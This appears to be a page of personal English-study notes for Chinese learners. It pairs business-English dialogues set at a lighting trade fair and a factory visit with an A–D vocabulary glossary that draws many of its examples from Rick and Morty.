- 📕 Sure, we have a lot of items in this price range. May I know your (desired) packaging method? Color box or double blister? 彩盒还是双泡壳 (clamshell)?
- 📗 European guys prefer color box, but in the US, the double blister is more popular.
- 📕 OK. Please check this one, this one, and this one. They are our best-selling items in the US market.
- 📗 Really? To which customers?
- 📕 Target, Kmart, and some other importers.
- 📗 Good. Please send me the offer sheet soon. Here is my name card.
- 📕 Thank you! And here is mine. Would you link to see some other lighting items?
- 📗 No thanks.
介绍同事跟进
- 📕 Cindy
- 📗 Jack
- 📘 Athena
Dialogue
- 📕 Good morning. Can I help you?
- 📗 Yes, my name is Jack. This my name card. What is the price for these two?
- 📕 Sorry Jack, these items are handled by my colleague. Let me introduce her to you.
- 📗 OK.
- 📕 Athena, could you come here, please? Jack wants to know the price of the two camping lamps. Here is his card.
- 📗 Hello, Athena!
- 📘 Hello, Jack. Nice to meet you. The two lamps were designed for portable usage with handles and car chargers. The big one is 12 dollars and the smaller one is 9 dollars.
- 📗 The whole set?
- 📘 Yes, one lamp, one adaptor, and one car charger.
- 📗 OK, what about the quantity for the small one in a 20' container (20-foot container)?
- 📘 Let me check it. Er … 1500 pieces.
- 📗 So, 3,000 pieces per 40' container, right?
- 📘 Sure.
- 📗 Please send me a detailed offer sheet and 2 samples for the small one. Btw, have your products passed the UL or ETL testing?
- 📘 ETL for chargers.
- 📗 Got it.
简单讨论报价
- 📕 Cindy
- 📗 Nick
Dialogue
- 📕 Good morning!
- 📗 Morning.
- You handle lighting items, right?
- You do plumbing
/ˈplʌmɪŋ/, right? - You do early modern history, right? (at a conference)
- 📕 Yes.
- 📗 Are you involved in manufacturing or trading?
- 📕 We do both trading and manufacturing. And we have our own R&D team.
- 📗 How many workers?
- 📕 250, including office staff.
- 📗 Good. Can you please help me check the price of this item?
- 📕 Ah … a very nice design for the glass part.
- 📗 Yes, we'd like to get the best quote for 50,000 pieces.
- 📕 We
can/couldcertainly handle that quantity/do that/handle thatfor you. Please sit down. I'll check into it (仔细核查). Would you like something to drink? - 📗 Water, please.
- 📕 OK. The diameter of the body is 17 cm, the diameter of the tube is 2 cm, the thickness is 1 cm … what about the LED?
- 📗 Same as this one, one watt.
- 📕 What I meant to ask what type of LED is it? Chinese made, US made, or German made? The price is different.
- 📗 Give me the most competitive one.
- 📕 Sure. What about the packaging? One piece per 3-layer color box, and 24 pieces per container?
- 📗 Please add an inner box for me. I think it's better to pack 12 pieces per inner box and then 24 pieces per outer carton.
- 📕 OK. The price is around 3.9 USD per unit. I have to check with our engineering team and purchasing team to confirm the price again for each part, and then send you the final offer.
- 📗 Sounds good.
- 📕 Could you please leave the sample here?
- 📗 Sorry, I only have one piece on hand. But I will send you the sample to your factory when I get back to my office.
- 📕 Sounds good! Thank you very much.
预约见面时间
- 📕 Cindy
- 📗 Christina
Dialogue
- 📕 Hello, Christina!
- 📗 Hi, I'd like to
get in touch/checkwith you about my business trip. / Ihappen to be/would bein the area and I would also like to see your company. I think I'm going to visit some suppliers in Shanghai and Zhejiang for a week. Is it possible to visit your company then? - 📕 Sure / Of course. You are (of course) more than welcome to. Please feel free to drop by, and I'm sure you'll find a lot of interesting items in our big showroom.
- 📗 Sounds great! I'm leaving for Shanghai tonight and will visit 2 suppliers tomorrow. I'll have some time the day after tomorrow.
- 📕 OK, We could arrange the pick-up. Where will you stay in Shanghai? Would you like us to book a hotel for you?
- 📗 No, thanks. I have already booked a deluxe room at the Peninsula Hotel. Have you heard of it? / Are you familiar with this location?
- 📕 Yes, I have heard of it. It's a very nice hotel.
- 📗 It's in (the) downtown (area), correct?
- 📕 Yes, it's in downtown, near the Shanghai Bund area.
- 📗 How far is it to your company?
- 📕 Roughly an hour's drive.
- 📗 OK. I will call you back tomorrow to confirm. / I will call you tomorrow for final confirmation.
随客户拜访工厂
接机
- 📕 Cindy
- 📗 Nicole
Dialogue
- 📕 Hi, Nicole. This is Cindy speaking. Have you arrived in Hong Kong?
- 📗 Hi, Cindy. Yes, I have. I'm in the hotel right now, and I'm gonna take a shower and get something to eat.
- 📕 How are you feeling?
- 📗 Well,
I feel so drained/I feel like exhaustedafter the long flight from Frankfurt to Hong Kong. / I've got a jet lag. / I'm really tired because of the jet lag. And the traffic here is terrible! - 📕 Don't worry. You will be in Shanghai tomorrow, and everything will be OK then. I'd like to confirm your flight and arrange a pick-up. You will be arriving on Dragonair Flight KA5368 at 11:15 a.m., right?
- 📗 Yes.
- 📕 So, we will pick you up in Shanghai Putong airport tomorrow morning. Take care, and see you tomorrow.
- 📗 Thanks. See you then.
在路上
- 📕 Cindy
- 📗 Nicole
Dialogue
- 📕 How was your trip? / Did you have a good trip?
- 📗 (Yep,) it was good. There was nice food on the plane.
- 📕 Good. An extra night (one more night) in Hong Kong could help you get over your jet lag. I beg you had some Cantonese food.
- 📗 Yes, I did. But the price of the hotel in Hong Kong was too expensive.
- 📕 Which hotel?
- 📗 The Upper House. Have you heard of it?
- 📕 Oh wow, that's one of the most expensive hotels in Hong Kong Central, but I guess it must be an amazing hotel.
- 📗 Yeah, it was great.
- 📕 Would you like to go to the hotel first?
- 📗 Thank you, but I'd prefer to go see your factory first.
- 📕 Yeah, that's fine. We can do that.
- 📗 How far away is it? / How long of a drive is it (from the airport to the hotel)?
- 📕 Roughly an hour (About an hour) if there is no traffic jam. (if the traffic is OK/alright.)
介绍同事
- 📕 Cindy
- 📗 Nicole
- 🏭 Michael: Factory Director (厂长)
- 🧭 Mr. Zhang: Gneral Nanager (总经理)
Dialogue
- 📕 OK, here we are!
- 📗 This is an impressive operation you have here. / This looks like a (very) up-to-date modern factory.
- 📕 Thank you! This way, please. Nicole (niˈkoʊl), this is Michael, our factory director.
- 📗 Hi, My name is Nicole Fisher (first name + last name) of ABC company.
- 🏭 Hi, (I'm) Michael Smith. Nice to meet you!
- 📗 Nice to meet you, too!
- 📕 And this is Chris, our marketing director.
- 🗺️ Hi, Nicole.
- 📗 Hi, Chris!
- 📕 And this is Amy, my assistant. And … ah … here comes Mr. Zhang, our general manager.
- 🧭 Welcome to our factory! (Sorry I'm a bit late.)
- 📗 Oh, not at all. My name is Nicole Fisher. Nice to meet you.
- 🧭 Nice to meet you.
- 📗 I was just telling Cindy that your factory looks very impressive / modern / up-to-date. This looks like an excellent working environment.
参观
- 📕 Cindy
- 📗 Nicole
- 🏭 Michael: Factory Director (厂长)
- 🧭 Mr. Zhang: Gneral Manager (总经理)
Dialogue
- 🧭 Now if you'll excuse me, I have an urgent matter to attend to. Cindy will show you around the facility.
- 📗 Nice meeting you.
- 📕 This is our production facility which has 10 injection machines (注塑机) and 2 blowing machines as you can see the workers are assembling the plastic parts. These machines have been recently installed.
- 📗 Which brand is your injection machinery?
- 📕 Sorry, I'm not sure. Michael, do you know?
- 🏭 It's LUST. We imported them from Germany. Have you heard of it before?
- 📗 Yes, I'm familiar with it / this brand. Well, how many workers
are there/do you havein your factory? - 🏭 Roughly 300. 50 in production, 120 in assembling, 60 in packaging, and the rest work in quality control, material purchasing, and office work / internal affairs.
- 📗 I see.
- 🏭 Now let's go upstairs to see our assembling and packaging facilities.
- 📗 Sure.
交流
- 📕 Cindy
- 📗 Nicole
Dialogue
- 📕 What do you think?
- 📗 Ah, this is an impressive facility. / Your facility looks very modern / up-to-day / impressive.
- 📕 Thank you!
- 📗 Now I'd like to know more about your company. / I have a question about your company. I saw some items in your warehouse, with a shipping mark for METRO.
- 📕 Yeah.
- 📗 Are these / your products shipped direct or through importers.
- 📕 Pardon me?
- 📗 I mean, do you cooperate with METRO Germany directly? Or do you get orders from other trading companies?
- 📕 Oh, we do business with the METRO Hong Kong office directly. Then the goods are shipped to Hamburg or Bremerhaven in Germany. METRO HK is their purchasing center in the Asia Pacific region.
- 📗 I see. Could you (please) show me the items (that) you supplied to them?
- 📕 I can show you several open-design products / I can only show you open-design products; the other products are their private designs, which we have to keep confidential.
- 📗 No problem. Thank you!
约定
- 📕 Cindy
- 📗 Nicole
Dialogue
- 📕 Do you have any plans tomorrow? Any other suppliers?
- 📗 Yeah, the one in Qingpu District in Shanghai.
- 📕 OK, would you like us to arrange the pick-up for you?
- 📗 No, thanks. They will take care of it. But I could use some other help. Could you take me to the airport the day after tomorrow?
- 📕 Sure. When's your flight?
- 📗 Let me see. Er… 01:05 p.m. from Shanghai Pudong Airport.
- 📕 OK. When do you plan to start from the hotel? Does 10 a.m. sound good to you? It takes us about an hour‘s drive to get to the airport.
- 📗 Since you're more familiar with the area, I'll leave it up to you. (全交给你了 / 拜托你了)
- 📕 Sure. I will wait for you at 9:30 a.m. in the lobby, and please arrange the checkout earlier.
- 📗 Sounds good！
送行
- 📕 Cindy
- 📗 Nicole
Dialogue
- 📗 Thanks for your time today, Cindy. / Thanks for showing me around.
- 📕 It's my pleasure. Thank you for your visit. / We've appreciated your visit. Thank you for giving us the opportunity to work together. / We look forward to serving / having you as a customer. / We look forward to having your business soon.
- 📗 Excellent. You'll be hearing from us shortly.
- 📕 Is this your first time in Shanghai?
- 📗 Nope. I've been here a couple of times in the past seven years.
- 📕 Were these also business trips, or were you traveling?
- 📗 Oh, these were business trips, just for visiting suppliers, placing orders, negotiating price, problem-solving, and other things like that.
- 📕 Sounds busy.
- 📗 Yep, it was.
- 📕 Well, I've heard the market in Europe is
not doing well/in a slump. - 📗 Yes, that's true, especially the southern European countries, like Greece, Spain, Portugal ,and Italy, where there are high unemployment and recession.
- 📕 What about Germany?
- 📗 Germany is doing OK, but only OK.
- 📕 Well, have a safe flight back!
- 📗 Thank you!
样品间自由玩转
介绍公司
- 📕 Cindy
- 📗 Fernando
Dialogue
- 📕 OK， Mr. Fernando. Let me give you a brief introduction of our company.
- 📗 OK.
- 📕 Our company was established in 1988, so we have roughly 25 years’ experience in the lighting field. Originally, we only had a small factory with 20 people, with sales turnover (营业额) of only 13,000 USD. However, over the past 25 years, we have expanded rapidly. Now we have 300 workers in our own factory and 50 staff belonging to several teams in our trading company.
- 📗 I see. / Mmm hmm.
- 📕 And our business is still growing. The sales turnover last year was 10 billion US dollars for our solar lights and other lighting items.
- 📗 Impressive.
- 📕 Our products have been sold worldwide. Our primary markets are in the US, Germany, Canada, and Japan.
- 📗
What is/How aboutthe percentage for your European market? - 📕 Roughly 65% from Europe, 15% from the U.S., and he rest from other countries or regions.
- 📗 So, out of your existing orders from Europe what percentage comes from Italy?
- 📕 Honestly, we have no customer directly from Italy. But we do sell a lot of items to importers in Holland and Belgium, and maybe you could find our articles in the retail shops in Italy.
- 📗 In that case, maybe I’ll be your first client in Italy.
- 📕 We definitely hope so. And this is the chart for our turnover growth and current market share. The next page is the list for our testing certificates and reports, so you can get a rough idea.
边走边谈
- 📕 This is our newly developed product for the European market.
- 📗 Who is the target? / Which country is the target?
- 📕 We don’t know yet. We plan to promote this item in the Canton Fair next spring.
- 📗 What’s the price? How about the price?
- 📕 It’ll be based on quantity. If you could place one 20-foot container, the unit price could be 3.74 USD.
- 📗 How many pieces could be filled in the whole container?
- 📕 Roughly 8,000.
- 📗 Oh, that’s in excess of our needs. We would like to take in 500 to 1,000 pieces for trial.
- 📕 OK. But I think we would have to discuss the price later.
- 📗 Sure. What about this one?
- 📕 Ah, we sold this model to Aldi for one million pieces last year.
- 📗 Wow. So you have very competitive pricing on this one, right?
- 📕 Yes, we do. But I have to know your quantity before giving you a final offer.
- 📗 One last question. Could you please take this one and the previous one to the boardroom table? We could go over them one by one some time later.
- 📕 Don’t worry. Just lay them aside on the floor. And we’ll collect them for your confirmation later.
- 📗 OK. Let’s go ahead.
- 📕 And this shelf includes our promotional items to the U.S.. All of them are packed by double blister with Ni-Cad battery.
- 📗 What else do you have?
- 📕 And here are our one-dollar lights, with display box packaging.
- 📗 Can they display any color?
- 📕 Certainly. Would you like to leave one sample for it on the floor as well?
- 📗 Sure.
整理客户选中的样品
- 📕 Here they are. The 6 items you just selected. Are these the right ones?
- 📗 Correct.
- 📕 OK. Let's discuss the first one, our new model RJK -23366. The unit price is 3.74 USD per piece for one 20' FCL (一个小柜). If you place 500 to 1000 pcs as trial order, we have to charge you an extra 200 USD as handling fee (操作费).
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 📗
- 📕
- 博客 Jiajun的编程随想 2019-07-15 08:00:00《读《远见-如何规划职业生涯3大阶段》》毕业之前，学校一般都会组织上职业生涯规划这样一门课程，但是一般由于涉世未深，学校这么课程一般也挺水，因此可以说，大部分人...
- 博客 庭说 2019-07-14 00:00:00
一本属于庭勃士的英语百科全书，大部分表达来自《瑞克和莫蒂》（Rick and Morty）。
A
About
What about: objection or potential problemHoney, I got a new job but I need to move to Beijing.
老婆，我刚刚获聘了但要迁到北京工作。What about me?
那我怎办？！Hey let's have a house party tonight.
嘿，我们今晚在家里聚会吧。Yeah but what about the neighbours?
好呀，但是邻居会怎么想？
How about: suggestion or "open" possibilitiesHow about having lunch with us?
要不和我们一起吃午餐？How about we go on a picnic this weekend?
我们周末去野餐如何？（How about 后面可以接句子，What about 不可以）
Advertised
as advertised名不虚传- One thing's for sure, you're just as pretty as advertised.
不过有件事可以确定，你和传言中一样帅气。
Already 🆚 Yet
Already 多用于肯定句中
- The staff have already finished the work.
Yet 多用于疑问句与否定句中
- Have you finished it yet?
- I haven't finished it yet.
Anal
[ˈeɪnl] 肛门的，直肠的
anal sex肛交You're young. You've got your whole life ahead of you, and your anal cavity is still taut, yet malleable. 你还有大好人生，肛门也紧致有弹性。
cavity比 hole 正式，指实体内中或表面的空洞或空腔。taut[tɔːt] 紧绷的malleable[ˈmæliəbl] 可塑的
Anatomy
/əˈnatəmi/ 身体；解剖学
Anatomy park! 人体公园
The ball hit him in the most sensitive part of his anatomy. 这个球打中了他身体的最敏感部位。
We already know that the way we give birth influences our anatomy. 我们已知分娩方式影响着我们的身体结构。
Anticipate
预期，期望；预料
Goldenfold's got more control here than I anticipated. 我没想到 Goldenfold 这么厉害。
Apron
/ˈeɪpr(ə)n/ 围裙
Appreciate
后面必须加宾语：
- I appreciate your understanding and support.
谢谢你的理解和支持。 - I appreciate it.
谢谢了。
Appearance
We all know that we should never judge a book by its cover, but in reality people do. 我们都知道不应该以貌取人，但在现实生活中人们还是会这么做（Appearance doesn't tell you everything）。
As
as it is已经
You know, I mean, y-you're perfectly scary enough as it is. 你现在就已经非常吓人了。I'm not buying the children anything else today - I've spent far too much money as it is. 今天我不会再给孩子们买任何别的东西了——我花的钱已经太多了。
Authority
I have it on good authority我敢保证I have it on very good authority that your life's in danger. 我有可靠消息，你现在有生命危险。
Axe
裁员；撤销
- Over 500 staff are facing the axe.
500 多位员工面临被解雇的命运。
B
Bail
bail on 放弃；失约
He bailed on Mom when she was a kid! 他甩开了当时还是个小孩的妈妈！
I mean, it's not like he's a hot girl. He can't just bail on his life and set up shop in someone else's. 他又不是漂亮妹子，挥霍完青春再找一长期饭票。
Bargain
You drive a hard bargain, but what am I supposed to do? 你真会开条件，但我能干嘛呢？
You are really a hard bargain. Are you going to place an order now? 你真会还价。你现在要订货吗？
I drove a hard bargain with the vendor before I got the price down. 我跟那个小贩费了老半天功夫才买到的。
Actually I have to admit I'm hopeless at driving a hard bargain, and I know some of my suppliers are taking advantage of that.事实上，我必须承认我的讨价还价能力很差，我知道我的一些供应商正在利用这一点。
Yeah, I know that. But at those places. the prices they ask you are ridiculously high, and if you don't bargain hard, you will get ripped-off. 是的，我知道。但是在那些地方，通常他们的要加都很高，要是你不还价的话，你就会被狠宰一顿。
Bedrock
[ˈbedrɑːk] 基岩；根底
Oh, man, it looks like we've hit dream bedrock here, Morty. 看来我们已经到了梦的底层了，Morty。
Begin
Well begun is half done.
好的开始是成功的一半。Benefit
I usually give people the benefit of the doubt.
把人往好处想。Best
击败；战胜
- You bested us, party beast. And to that, I doff my cap.
败给你们了，舞会魔王。为此，我脱帽致敬。
Biased
[ˈbaɪəst] 有偏见的
Obviously I'm biased, but I think it's great, Morty. 很明显我不太客观，但我觉得真的超级棒。
Bite
上钩；咬钩；吞饵
- Okay, I'll bite.
我会上钩 / 咬饵（哎呀，别卖关子啦，快告诉我为什么。） - He'll bite. Get him on the phone.
他会上钩的，给他打电话。
Bitch
bitch about 说坏话；发牢骚；抱怨
- If your adventure sucks and we bail halfway through it, you lose the right to bitch about all future adventures. Plus, you have to do my laundry for a month.
如果你的冒险很烂，我们半路放弃了，那以后的冒险你都不准抱怨，还有，你得帮我洗一个月的衣服。 - I plan to get drunk and bitch about my boss.
我打算喝的烂醉，说我老板的坏话。
Blend
侧重混合整体的统一性与和谐性。
"Brunch" is a blend of "breakfast" and "lunch". “早午餐”是“早餐”与“午餐”的混合词。
Blend the butter with the sugar and beat until light and creamy. 把黄油和糖混合起来，快速搅拌成松软的糊状。
blender搅拌机；果汁机Bloated
肿胀的；傲慢的；肚子胀的（吃撑了的）
- His face was bloated.
他的脸肿了。
Bound
I do not overstep my bounds with Morty. 我和 Morty 的关系保持得很有分寸。
Brush
擦肩而过；和……的小冲突；与……的摩擦
After your father's brush with cancer and losing your uncle, we looked at life and wondered, how have we spent it, and how do we spend the rest of it? What are we going to be when we die? a list of fears and questions or a collection of real experiences? 你爸和癌症擦肩而过，你叔叔也走了，所以我们决定重新审视我们过去的人生和剩下的时光，我们死的时候会是什么样的？是充满了恐惧和怀疑？还是过了充实的一生？
Jim had a brush with death (= was nearly killed) on the motorway. 吉姆在高速公路上差点丧命。
Was that your first brush with the law (= experience of being in trouble with the police)? 那是你第一次和警察打交道吗？
Bureaucracy
[bjʊˈrɑːkrəsi] 官僚作风；官僚主义；官僚体制
I can't abide bureaucracy.
abide [əˈbaɪd] （因为厌恶而）不能忍受，无法容忍
bureaucrat [ˈbjʊrəkræt]
The economy is still controlled by bureaucrats. 经济依然被官僚们所控制。
Bummer
令人不快的事情；带来不便的事
I'm sorry, morty. It's a bummer. In reality, you're as dumb as they come. 我很抱歉Morty 不幸的是你确实很蠢。
as they come按照原来的样子
"I've left my wallet at home." "What a bummer!" “我的钱包忘在家里了。”“真糟糕！”
I locked my keys in the car - bummer! 我把钥匙锁在汽车里了——真糟糕！
What a bummer! You set me up? 太遗憾了！拿我当猴耍吗？
Butthole
When we get to customs, I'm gonna need you to take these seeds into the bathroom, and I'm gonna need you to put them way up inside your butthole, Morty. 当我们到了海关，我需要你把这些种子带到浴室，我需要你把它们放进你的屁股里，莫蒂。
C
Cafeteria
[ˌkæfəˈtɪriə] （常指工厂、大学或办公大楼内的）自助餐厅，自助食堂
The food in the cafeteria is abominable.
这家自助餐厅的膳食糟糕透了。
abominable [əˈbɑːmɪnəbl] 恶劣的
Call
正式Hi, I have a missed call from this numbers. Who am I speaking with? / Who's that?随意Somebody called me from this number. Who's this?随意Hey, sorry I missed your call. / I apologize (for missing your call). What's up?- My phone was on silent.
I was on anther line.
I didn't have my phone with me.
I was in a meeting. - This is Tim calling from ABC company. Is now a good time for you for a quick phone interview?
call it a day 结束工作；到此为止；收工
- I'm getting a bit tired now, let's call it a day.
我有些累了——收工吧。
call the shots 军官下令部队开枪，引申为：作最后决定、下命令
You must do what I tell you because I'm calling the shots around here.
你必须听我的话，因为我是这里负责的人。To be a leader, you should know how to call the shots.
作为领导，你应该知道怎么做决断。Who calls the shots here?
这里当家作主的是谁?
Catfish
鲶鱼；照骗。
Chance
You wouldn't by any chance have some sort of crazy science thing. You could whip up that might help make this dog a little smarter, would you? 你不会碰巧有什么能让这狗更聪明的科学发明吧？
You, by any chance, recognize the jacket? 是不是有可能，你认得这件夹克？
Do you by any chance have a car available? 或许你们这儿恰好有可以用的车？
Charismatic
充满个人魅力的
He could be charismatic, even mesmerizing, but also cold and brutal. 他有时候极富魅力，能让你着迷，但他也可以冷酷、残忍。by 《乔布斯传》
Check it out
看看这个：
- ✔️ Hey buddy, check it out.
- ✔️ You wanna check this out.
- ✔️ You wanna check out the catalog / video.
- ❌ Please have a look.
- ❌ Pease take a look.
China
- National flag: 国旗
- National anthem: 国歌
- National anthem: 国歌
- October break for celebrating Chinese National Day lasts from Oct 1st to Oct 7th.
国庆节的假期是十月一日到七日。 - 70th anniversary of the founding of the People's Republic of China.
中华人民共和国成立70周年。 - They are very patriotic guys who are willing to give everything for their country.
他们非常爱国，愿为国家奉献一切。 - China rocks.
中国真厉害。 - China is magnificent.
中国宏伟壮丽。 - China is vibrant.
中国生气勃勃。 - China is dynamic.
中国充满活力。 - Chinese culture is rich and diverse.
中国文化丰富多彩。 - China has 5000 years of glorious history.
中国有五千年的辉煌历史。 - Chinese people are friendly and hospitable.
中国人友好好客。 - Chinese people are open-minded and full of can-do attitude.
中国人思想开明，充满积极乐观的态度。 - Chinese food is exquisite.
中国美食十分精致。
Class
cut class逃课- Apparently, she's been cutting classes all week.
显然，她这周都没去学校。 - Dan, you've been sleeping all day, cutting class.
丹，你整天都在睡觉和翘课。 - Oh, my god. It was so worth cutting class to hear this.
哦，天呐！翘班听到这个消息真是太值得了。 - That's no excuse for talking back to your teacher, or cutting class, or dropping out of school.
这些不是你去跟老师顶嘴、逃学或缀学的借口。
Coitus
/ˈkəʊɪtəs/ 尤指人类的）性交
After a little scary coitus, they should be fast asleep and then we'll incept him. 再来场恐怖爱爱他们就要睡觉了 然后我们就到他的梦里去。
He must be very skilled at coitus. 他的交媾技能肯定很强。
Colonize
[ˈkɑːlənaɪz] 使殖民地化；将…建为殖民地
Taking over the human's world will lead to nothing but more heartbreak, more cruelty. Instead, we will go to a new world and colonize it with a society of intelligent dogs. One that will not make the same mistakes as humanity and one where pet insurance will be mandatory. 占领人类世界只会造成更多的残忍与伤痛，所以我们决定去新世界建立一个智慧狗类的社会。我们不会再犯人类的错误，并且会有强制宠物保险。
mandatory [ˈmændətɔːri] 强制的；必须履行的；法定的
Mask-wearing is now mandatory in all indoor public places. 现在所有室内公共场所都必须佩戴口罩。
Commission
佣金；业绩奖金；提成；支付给中间人的劳务报酬
She gets 10 percent commission on every house she sells. 她可以在她卖出的每一间房子中抽取百分之十的佣金。
「加薪」、「獎金」英文怎麼說？10 種薪水一次學會｜天下雜誌
Communication
We had a breakdown in communication.
我们没沟通好。Concise
[kənˈsaɪs]
Pretty concise, Morty. 总结得真简练，Morty。
Constrict
收缩
The body is beginning to constrict and fill with gas. We're inside a corpse, my boy. Anatomy park is doomed. 尸体开始收缩并且产生气体了，我们在一具死尸里面啊。人体公园完蛋了。
" I don't want to talk to you, " she said in a constricted voice. “我不想跟你说话。”她声音哽咽地说。
Convenience
Convenience store：便利店（特指 7 × 24）
Cook
I need to cook.- 我要去做饭了。
Do you like to cook?- 你喜欢做饭吗？
I do enjoy cooking.- 我很喜欢做饭。
Cooking makes me feel relaxed.- 做饭对我来说就是休息。
Are you good at cooking?- 你做饭在行吗？
What are we cooking?- 咱们晚饭做什么？
I'm going to start making dinner.- 我该准备晚饭了。
Can I take you out for dinner?- 我可以请你吃晚饭吗？
My treat. It's on me.- 我请客。
boxed meal- （从餐厅买的）盒饭
My mom made me a packed lunch/My mom packed lunch/My mom prepared me for a brown bag lunch/I just brown bag it- 外带午餐（bento）
- Have you finished eating?
你吃完了吗？ - I'll wash the dishes today, and you can wash them tomorrow.
Fair enough. 好吧。 - Warm up leftovers in the the microwave.
cook up 策划；编造
It's a little business venture I've been cooking up on the side with Dr. Bloom. An amusement park inside a human body. 这是我和Bloom博士一起搞的一个小副业——人体内的主题公园。
He makes a little money on the side by cleaning windows in his spare time. 他靠业余时间兼职清洗窗户赚些零用钱。
Coordinate
坐标
I need to type in the coordinates to our home world. 我得输入我们自己世界的坐标。
Correct
当回答不完全正确时
It's not 100% correct but you're getting there.
You're pretty close.
当回答错误时
I'm afraid that's incorrect/inaccurate.
I'm afraid you're not quite right.
回答正确时
- You nailed it.
- You got it.
- That's spot on.
Count
on the count of three我数到三- On the count of three, I want you to yell "Cheese." One Mississippi，two Mississippi, three Mississippi…
我数到三，请大家喊出「茄子」。 - On the count of three, name your favorite creature.
数一到三然后说出你最喜欢的东西 - Now I need your help on the count of three.
现在大家一起数到三
bean counter（对金钱）善于算计的人Cry
for crying out loud! 天呀；
Cool it, honey! 冷静一点儿，别发那么大的火，亲爱的。
Custody
照管，监护；（尤指对父母离异或去世的孩子的）监护权
- The court awarded/granted/gave custody of the child to the father.
法庭将孩子的监护权判给了父亲。 - The mother got/received custody of the child.
母亲得到了孩子的监护权。 - The parents were given joint custody.
孩子的父母获取了共同监护权。
（尤指等候法庭审判期间的）监禁，拘留
- Authorities say a suspect is in custody.
有关部门表示，嫌疑人已被逮捕。
Cut
cut-throat competition 恶性竞争
cut your losses 及时放弃无利可图之事；知难而退，及早撒手
- Let's cut our losses and sell the business before prices drop even further.
我们趁早收手，在价格继续下跌之前把店卖掉吧。
Curiosity
I can't simply switch off my curiosity.
我无法压抑自己的好奇心。by Stephen Hawking（理论物理学家：斯蒂芬·霍金）Cyberstalker
网络跟踪狂
D
Date
介词 用法 举例 at一个准确、特定的时刻
at precise timeat 07:11
at 10 o'clock
at noon
at noon yesterday
at night
at midnight
at the same timein一段较长而非特定的时间
in months, years, centuries, long periodsin the morning
in the afternoon
in the evening
in the week
in January
in March, 2015
in 2015
in the spring
in the past year
in the 18th century
in the futureon特定日期、星期
at days and dateson Monday
on Tuesday morning
on 28, April
on New Year's Day
on Christmas Day
on the weekend英式日期 日 月, 年 22 July, 2016 美式日期 月 日, 年 July 22, 2016 Q：为什么我们用
in the morning、the afternoon、in the evening，但却是用at night呢？
A：in用在一段较长而「非特定」的时间；at用在一段「特定」的时刻，而night一般是英语人士表示睡前没事要做的那段「特定时间」，大概就是晚上九到十二点间，所以相较morning、afternoon这些范围较大且较无特定的时间，我们就相对会用at night。Q： 星期、日期、时间点放在一起，先说哪个？
A： Please join us for an invitation-only event at the Bill Graham Civic Auditorium in San Franciscoon Wednesday, September 7, at 10:00 a.m.需要牢记的是，星期（day）总是放在日期（date）的前面。而具体时间点，则相对比较灵活，可以放在最前，也可位于最后，但不会放置在 day 和 date 之间。Deal
A deal's a deal一言为定- You ripped me off. A deal's a deal.
你坑了我。交易就是交易。 - Don't think you'll raise the price, a deal's a deal.
你休想坐地起价，我们早有协议。 - Do we have a deal?
It's a deal. 就这么定了。
Defy
公开地、勇敢地反对或抵抗，有时含公然挑衅之意。
It defies all logic that thing.
无法用逻辑理解。How dare you defy your masters!
胆敢反抗你的主人！
Decay
/dɪˈkeɪ/ 腐蚀；（使）衰败，（使）衰弱
Sugar makes your teeth decay.
糖能引起蛀牙。What caused the Roman Empire to decay?
是什么促使罗马帝国衰落的？
Dent
凹痕
make/put a dent in sth 取得初步进展；产生影响；支出；花费
The holiday made a big dent in our savings. 度假花去了我们很大一部分的存款。
We're here to put a dent in the universe. 我们存在，只为改变世界。by Steve Jobs
Science isn't cheap, Morty. This should really help put a dent in the overhead. 搞科学很费钱的，这玩意多多少少能补贴一点。overheads：（公司的）经常性开支，营运费用，经费
Disclosure
[dɪsˈkloʊʒər] 公开；被公布的事实
Full disclosure, it's a piece of crap. 坦白说就是一堆废铁。
Full disclosure, I've never been a big fan of your stuff. 坦白说 我从来都不是你节目的粉丝。
We need full disclosure. 我们需要你毫无保留。
So in the spirit of full disclosure… 所以本着坦诚的精神……
Dissolve
Temporary superintelligence is just a side effect of the mega seeds dissolving in your rectal cavity. 暂时的超常智力只是奇异种溶解在你肠道里的副作用。
Distress
/dɪˈstrɛs/ 受苦；遇难；遇险
I'm picking up a distress signal in the liver. 我在肝脏发现了求救信号。
Down
be down with好的；同意；愿意- Want to go grab some pizza?
Okay, I'm down with that. - I am up for movies, but I am not down with your movie choice.
我想去看个电影。但是你选的电影我觉得不行。 - We are going to the movies later tonight. Are you down?
我们今晚晚些时候准备去看个电影。想一起吗？ - I'm down.
我加一；我也要。
come down with患上（小病）- I think I'm coming down with flu.
我想我染上流感了。
Done
I'm done being the voice of reason. 我真受够了一直做个理智的人。
Duck
（快速低头或弓身以）躲闪
- Duck! Down! Hold on, hold on.
快趴下！快趴下！抓紧！抓紧！ - He ducked in time to avoid a blow.
他及时地弯下身，躲开了一击。
sitting duck 活靶子；易被击中的目标；易受攻击的对象
一只正在飞的鸭子可不容易打到它；然而一只浮在水面上的鸭子（或煮熟的鸭子）却是一个很容易击中的目标。
We're sitting ducks!
我们现在就是活靶子啊!With their bullets all gone, the soldiers were sitting ducks for the enemy.
子弹全打光了，战士们成了敌人的活靶子。You don't want to be a sitting duck when the shooter gets here.
枪手来时，你可不想成为显眼目标。
Dump
take a shit 上大号；大便
=
take a dump
=
drop a log 丢下一根圆木
I'm gonna go take a shit .
I need to use the restroom. 我要上厕所（大小号都一样）。
Dream
If you don't dream, you might as well be dead.
做人如果没有梦想，跟咸鱼有什么分别。by George Foreman（职业拳击手：乔治·福尔曼）Duh
[dʌ; dɜː] 咄（表犹豫、不快或轻蔑）；（用于认为某人说错话或某事显而易见时）哦
Well, duh doy, son. 不是吗？孩子。
Do you like Star Wars? - (Finebros) Uh, duh! Okay, that's what I thought! 你喜欢《星球大战》吗？-（废话！）好，我也是这么想的！
Duh. There's no way one speargun could shoot through three heads in real life. 废话嘛 现实中一枪下去怎么可能戳穿三个脑袋。
Uh, yeah. Duh. What did you think? 是啊 废话 你以为呢？
A: How did you get in here? （你怎么进来的？）
B: Through the door, duh. （废话，当然是从门进来的。）Dynamite
/ˈdʌɪnəmʌɪt/ 炸药
- The issue of unemployment is political dynamite (= could cause big political problems).
失业问题是政府的一颗政治炸弹。
